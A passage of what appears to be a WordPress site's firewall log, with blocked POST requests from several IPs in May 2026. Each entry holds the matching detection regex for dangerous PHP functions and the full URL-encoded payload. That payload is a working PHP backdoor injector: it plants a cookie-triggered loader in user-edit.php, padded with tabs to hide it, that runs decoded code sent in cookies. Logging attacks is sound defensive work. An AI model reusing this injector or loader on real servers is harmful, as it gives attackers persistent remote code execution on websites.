2520%257D%2520%2524dchunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524entry%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524bind%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524bind%252C%2520%2524dchunk%2529%253B%2520fclose%2528%2524bind%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524ent%2520%253D%2520%25229889d71df7b37cd202e6ba0fa778aa43%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524entry%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE3DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4384\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\n\nGt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/user-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-67%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-17%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524desc%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527171b4836%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524entry%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524bind%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524bind%252C%2520%2524dchunk%2529%253B%2520fclose%2528%2524bind%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524ent%2520%253D%2520%25229889d71df7b37cd202e6ba0fa778aa43%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524entry%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:52:44","101.100.3.213","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Iq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/user-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-67%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-17%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524desc%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527171b4836%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524entry%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524bind%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524bind%252C%2520%2524dchunk%2529%253B%2520fclose%2528%2524bind%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524ent%2520%253D%2520%25229889d71df7b37cd202e6ba0fa778aa43%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524entry%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFKRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4384\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\n\nIq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/user-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-67%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-17%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524desc%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527171b4836%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524entry%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524bind%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524bind%252C%2520%2524dchunk%2529%253B%2520fclose%2528%2524bind%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524ent%2520%253D%2520%25229889d71df7b37cd202e6ba0fa778aa43%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524entry%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:52:46","62.210.185.4","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/user-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-67%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-17%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524desc%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527171b4836%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524entry%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524bind%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524bind%252C%2520%2524dchunk%2529%253B%2520fclose%2528%2524bind%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524ent%2520%253D%2520%25229889d71df7b37cd202e6ba0fa778aa43%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524entry%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHSHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4384\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\n\nPU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/user-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-67%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-17%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524desc%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527171b4836%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524entry%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524bind%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524bind%252C%2520%2524dchunk%2529%253B%2520fclose%2528%2524bind%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524ent%2520%253D%2520%25229889d71df7b37cd202e6ba0fa778aa43%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524entry%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:52:51","78.142.18.172","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/user-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-67%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-17%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524desc%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527171b4836%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524entry%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524bind%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524bind%252C%2520%2524dchunk%2529%253B%2520fclose%2528%2524bind%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520